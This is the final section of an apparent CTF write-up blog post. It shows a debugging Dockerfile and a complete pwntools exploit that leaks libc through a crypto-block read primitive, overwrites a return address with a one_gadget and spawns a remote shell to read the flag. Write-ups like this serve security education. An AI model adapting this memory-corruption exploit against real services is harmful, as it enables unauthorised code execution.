*For the full experience with images see the original blog post! (It contains all stages.)*
Now, funny enough I already built a write gadget for the second challenge.For this one, I simply cleaned up the code a lot and fixed a few bugs where I accidentally overwrote stuff (because I didn't send null bytes in plaintext bytes I didn't specifically need).For testing, we used a Dockerfile of another challenge that Ordoviz hijacked for this challenge and I inserted some debugging:
```DockerfileFROM ubuntu:22.04@sha256:f9d633ff6640178c2d0525017174a688e2c1aef28f0a0130b26bd5554491f0da
RUN apt update && apt install -y socatRUN apt-get -y install gdbserver
RUN mkdir /appRUN useradd ctf
COPY challenge /app/challenge
USER ctf
EXPOSE 1337
# CMD socat tcp-l:1337,reuseaddr,fork exec:/app/challenge,pty,echo=0,raw,iexten=0CMD [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:'gdbserver 0.0.0.0:1234 /app/challenge',pty,echo=0,raw,iexten=0" ]```
The provided binary had some magic gadgets we found with `one_gadget`.When using a key of `'a'*16` we found a stable setup with the required registers pointing to the zero buffer on the stack after the flag.With that, we spawned a shell on the remote and got the final flag:
shell on remote with cat flag
```pyfrom dataclasses import dataclassimport pwn
from decrypt import PERMUTATION, decrypt_block, from_nibbles, to_nibbles
@dataclassclass Block:    key: str  # hex string    shifts: list[int]    plaintext: bytes
PERMUTATION_LOOKUP = [0] * 16for i in range(16):    PERMUTATION_LOOKUP[PERMUTATION[i]] = i
PATH = "./challenge_patched"RETURN_OFFSET = 0x58SHIFTS_OFFSET = 0x10LIBC_LEAK = 0x28 - SHIFTS_OFFSETLEAK_OFFSET = 0x62142
binary = pwn.ELF(PATH)
# Currently 8 bytes only, max offset 127def build_payload(payload: bytes, offset: int):    assert len(payload) == 8    assert offset <= 127
    shifts = [0] * 16    shifts[0] = offset * 2
    out = [0] * 16    payload_nibbles = to_nibbles(payload)    for i in range(16):        out[i] = payload_nibbles[PERMUTATION_LOOKUP[i]]
    real_payload = from_nibbles(out)
    return Block("a" * 16, shifts, real_payload)
def send_block(conn: pwn.tube, block: Block):    conn.recvuntil(b"Please provide a key for block ")    conn.recvuntil(b": ")    conn.sendline(block.key.encode())    for pos in range(16):        conn.recvuntil(b": ")        conn.sendline(hex(block.shifts[pos])[2:].encode())    conn.recvuntil(b"Please provide plaintext for block")    conn.recvuntil(b": ")    conn.sendline(block.plaintext.hex().encode())
def unscramble(upper, lower):    if upper >= lower:        return (upper - lower) << 4 | lower & 0xF    else:        return (0x10 + upper - lower) << 4 | lower & 0xF
def reconstruct_data(read_data: bytes, key: str):    shifts = [0] * 15    dec = decrypt_block(to_nibbles(bytes.fromhex(key)), shifts, to_nibbles(read_data))
    fixed_data = bytes(        [unscramble(dec[-2], dec[-1])]    )
    return fixed_data
def read_byte(conn: pwn.tube, offset: int):    conn.recvuntil(b"Number of blocks: ")    conn.sendline(b"1")
    block = build_payload((offset).to_bytes(1) + b"\x00"*7, SHIFTS_OFFSET)    block.key = "0"*16    send_block(conn, block)
    conn.recvuntil(b"Block 0: ")    read_leak = conn.recvline()[:-1].decode()    # print("leak:", read_leak)    return reconstruct_data(bytes.fromhex(read_leak), block.key)[0]
def read_bytes(conn: pwn.tube, offsets: list[int]):    data = []    for off in offsets:        data.append(read_byte(conn, off))
    return bytes(data)[::-1]
def create_conn():    if pwn.args.GDB:        conn = pwn.gdb.debug(PATH, aslr=True)    elif pwn.args.REMOTE:        conn = pwn.remote("chal-kalmarc.tf", 8)    elif pwn.args.DOCKER:        conn = pwn.remote("localhost", 1337)    else:        conn = pwn.process(PATH)    return conn
def main():    with create_conn() as conn:        OFFSET = 0x80
        print(read_byte(conn, LIBC_LEAK+1))        leak = read_bytes(conn, [(LIBC_LEAK + o) for o in range(8)])        print(leak.hex())        libc_base = int.from_bytes(leak, 'big') - LEAK_OFFSET        print(hex(libc_base))
        input()
        conn.recvuntil(b"Number of blocks: ")        conn.sendline(b"1")        block = build_payload((libc_base+0xebc85).to_bytes(8, 'little'), RETURN_OFFSET)        block.key = "a" * 16        send_block(conn, block)
        conn.interactive()    pass
if __name__ == "__main__":    main()
```
## Final words
The challenge provided a lot of opportunities I didn't use.For example, you could of course send more than one block at a time to easily expand both read and write.Then, you could read all at once, set up ROP easily and so on.That's what I like about this challenge: It provides a lot of room for creative solutions.Try out your own ideas!